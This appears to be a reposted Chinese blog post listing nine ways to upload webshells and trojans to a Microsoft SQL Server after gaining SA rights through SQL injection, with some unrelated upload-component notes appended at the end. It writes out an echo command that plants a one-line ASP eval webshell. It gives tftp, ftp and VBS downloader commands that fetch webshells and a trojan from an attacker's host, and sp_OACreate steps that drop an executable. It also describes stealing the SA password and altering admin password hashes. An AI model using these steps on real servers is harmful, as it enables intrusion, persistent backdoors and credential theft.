转载]SA权限九种上传方法

刚看了一种方法,如果是注入点,利用管中窥豹以二进制的方式上传,上传的时候最好改下名,比如do.exe,上传到目标服务器可以改成do.cmd,等传上去之后用copy 命令改回来。

当然用啊d也可以上传,还有nbsi。

SA 权限权利非常大,但可能有的朋友感觉使用起来不方便,接下来和大家一起讨论几种上传文件的方法,如果还有别的方法,希望大家提出,技术越辩起明,越明越高。

、NBSI的命令方法:写入一句话木SHELL,命令如下: echo ^<%eval request("#")%^> >d:/web/mm.asp这样要写入一句话木马,如果说被杀软,KILL掉,就可以连上去了。net stop "服务名"可以停掉服务。

、NBSI3。0自带文件上传功能,也可以使用。缺点速度慢。建议上传短小的WEBSHELL。

、把一句话木马与入数据库,然后利用NBSI数据库差异备份功能。

、如网站有论坛且开放上传附件功能,可直接在论坛上传文件(把WEBSHELL改成可能上传的文件类型,如JPG,GIF)

、利用NBSI等注入工具,浏览网站数据库连接文件(前提数据库和WEB在一台机器上,可利用IPCNFIG /ALL命令判断)找出SA的连接密码。利用MSSQL2000自带的事件查询分析器,连数库机器,通过浏览数据库找出后台密码,如果是MD5可利用 UPDATE语句进行更改也可利用INSERT加入一新用户,不用在爆破MD5,进入后台,寻找上传WEBSHELL方法。

、tftp命令法: TFTP [-i] host [GET | PUT] source [destination] 首先在自己的机器或已经控制的肉鸡上开TFTP服务,工具:TFTP32.EXE不错。比如:肉鸡 IP:192.168.1.1 具有SA权限的机器是192.168.1.2 执行命令: tftp -i 192.168.1.1 get webshell.asp d:/web/webshell.asp 如果成功,就会在192.168.1.2的D盘web 目录下生成文件:webshell.asp

、ftp方法:前提是有一个可访问的外网FTP空间().命令ECHO命令,前面讲的方法:在目标机器上生成文件ftp.txt
echo open www.ftp.com>ftp.TXT //连接FTP
echo username>>ftp.TXT       //输入用户名
echo password>>ftp.TXT       //输入密码
echo get webshell.asp d:/web/webshell.asp>>ftp.TXT //执行下载命令
echo bye>>ftp.TXT             //退出
ftp -s:ftp.txt                //执行FTP.TXT文件中的FTP命令

、vbs脚本方法:
利用ECHO命令写入文件: get.vbs,内容如下:
On Error Resume Next
Dim iRemote,iLocal
iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2
然后命令行下执行:cscript get.vbs http://ip/muma.exe c:/muma.exe

、start命令法,此方法不常用,但也是一种方法,
start http://ip/a.html这候a.html文件以及它包括的图片会保存在机器的,如果我们把自己的程序改名为a.jpg嵌套在a.html中这时候可以下载到IE缓存中。可以利用dir /s a*.jpg进行搜索。如搜索到,可以利用COPY命令复制出来。

、自然找到了一种方法很好用。

第一步先恢复

exec sp_configure 'show advanced options',1
reconfigure
exec sp_configure 'Ole Automation Procedures',1
reconfigure

第二步

DECLARE @ObjectToken INT

EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT

EXEC sp_OASetProperty @ObjectToken, 'Type', 1

EXEC sp_OAMethod @ObjectToken, 'Open'

EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 0x

EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, 'mssql.exe', 2 把16进制恢复exe 名字为 mssql

EXEC sp_OAMethod @ObjectToken, 'Close'

EXEC sp_OADestroy @ObjectToken

go

mssql.exe需要十六进制转换。用了一段vbs,代码如下。

On Error Resume Next
FilePath = Wscript.Arguments(0)
FieName = Right(FilePath, Len(FilePath) - InStrRev(FilePath, "/"))
With CreateObject("Adodb.Stream")
.Type = 1: .open: .loadfromfile FilePath: Str = .read: Sl = LenB(Str)
End With

Sll = Sl Mod 65536: Slh = Sl / 65536
With CreateObject("Scripting.FileSystemObject").OpenTextFile(FilePath & ".txt", 2, True)
.Write "0x"
For i = 1 To Sl
bt = AscB(MidB(Str, i, 1))
If bt < 16 Then .Write "0"
.Write Hex(bt)
Next
End With

用法 1.vbs 1.exe

转自:http://www.cqzh.cn/post/SA上传方法.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
来自Software Artisans,SA-FileUP组件是一个真正的ActiveX DLL服务器组件,容易集成到ASP网页中。该组件也可在MTS/COM+的环境中上运行。 使用SA-FileUP组件的教程可在http://www.activeserverpages.com/upload/ 上找到 建立SA FileUp 对象的方法: Set oFileUp = Server.CreateObject("SoftArtisans.FileUp") 取出表单所有项的方法: For Each strFormElement In oFileUp.Form 用 oFileUp.Form(strFormElement)就可以引用每个对象,文件也是这样 注意:如果是多选下拉框,则用oFileUp.FormEx(strFormElement) 可以这样来遍历它。 For Each strSubItem In oFileUp.FormEx(strFormElement) Response.Write( strSubItem & "") Next Next ContentType属性: oFileUp.Form(strFormElement).ContentType 可以得到文件的MIME类型 IsEmpty属性 oFileUp.Form(strFormElement).IsEmpty 可以知道用户是不是指定了一个无效的文件 MaxBytes属性 oFileUp.Form(strFormElement).MaxBytes=30000 指定文件的限制,单位为Byte,如果超过它,那么只存储MaxBytes指定的大小。其余舍弃。 ServerName属性 oFileUp.Form(strFormElement).ServerName 可以得到文件保存到服务器的完整路径。 ShortFilename属性 oFileUp.Form(strFormElement).ShortFilename 可以得到客户端的文件名,注意只是文件名,我这里没有用,因为报错。呵呵。 UserFilename属性 oFileUp.Form(strFormElement).UserFileName 可以得到客户端文件的完整路径。可以输出一下给用户看看。 TotalBytes属性 oFileUp.Form(strFormElement).TotalBytes 可以得到文件的大小,单位为Byte SaveInVirtual(路径)方法 oFileUp.Form(strFormElement).SaveInVirtual "upfile/" oFileUp.Form(strFormElement).SaveInVirtual "upfile/aa.abc" 如果只指定了路径,则保留原文件名,否则按指定指定文件名保存 服务器管理员可以禁止掉其他所有方法,但这个一定会留的。 SaveAs (文件名)方法 oFileUp.Form(strFormElement).SaveAs "C:\aa\a.tmp" 如果没有指定路径,只是指定了文件名,那么将用Path属性指定的路径。 Path属性一会介绍。 Save方法 oFileUp.Path="D:\\wwwroot\\abc\\upfile\\" 注意必须是真实路径,可以用Server.MapPath来转换虚拟路径。 oFileUp.Form(strFormElement).Save 不能指定文件名喽。 注意:Path属性必须在提到任何表单项之前,建议放在 Set oFileUp = Server.CreateObject("SoftArtisans.FileUp") 的后面。前提是你用的话。 Delete (文件名,可选) oFileUp.Form(strFormElement).Delete 从服务器上删除文件,如果不指定文件名,则删除当前的文件。 如果指定的话,必须是文件的完整路径。 Flush方法 oFileUp.Flush 当你不想保存任何东西的时候,可以用它来放弃全部的输入流。
DECLARE @Object int; DECLARE @HR int; DECLARE @Property nvarchar(255); DECLARE @Return nvarchar(255); DECLARE @Source nvarchar(255), @Desc nvarchar(255); DECLARE @httpStatus int; DECLARE @response varchar(8000); --创建 OLE 对象的实例 EXEC @HR = sp_OACreate N'MSXML2.XMLHTTP.6.0',@Object OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('Error Creating COM Component 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO END_ROUTINE END BEGIN --Open EXEC @HR = sp_OAMethod @Object,N'open',Null,'GET','http://localhost:1728/HttpServer/submit.aspx',FALSE; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('Open 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --setRequestHeader EXEC @HR = sp_OAMethod @Object,N'setRequestHeader',Null,'Content-Type','text/xml'; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('setRequestHeader 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --send EXEC @HR = sp_OAMethod @Object,N'send',Null,''; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('send 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --readyState EXEC @HR = sp_OAGetProperty @Object,'readyState', @httpStatus OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('readyState 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --verify status IF @httpStatus 4 BEGIN RAISERROR('readyState http status bad', 16,1) GOTO CLEANUP END --status EXEC @HR = sp_OAGetProperty @Object,'status', @httpStatus OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('getstatus 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --verify status IF @httpStatus 200 BEGIN Print Cast(@httpStatus As varchar) RAISERROR('Open http status bad', 16,1) GOTO CLEANUP END --responseText EXEC @HR = sp_OAGetProperty @Object, 'responseText', @response OUT IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('responseText 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END Print @response END CLEANUP: BEGIN EXEC @HR = sp_OADestroy @Object; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; SELECT HR = convert(varbinary(4),@HR),Source=@Source,Description=@Desc; END END END_ROUTINE: RETURN; GO

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值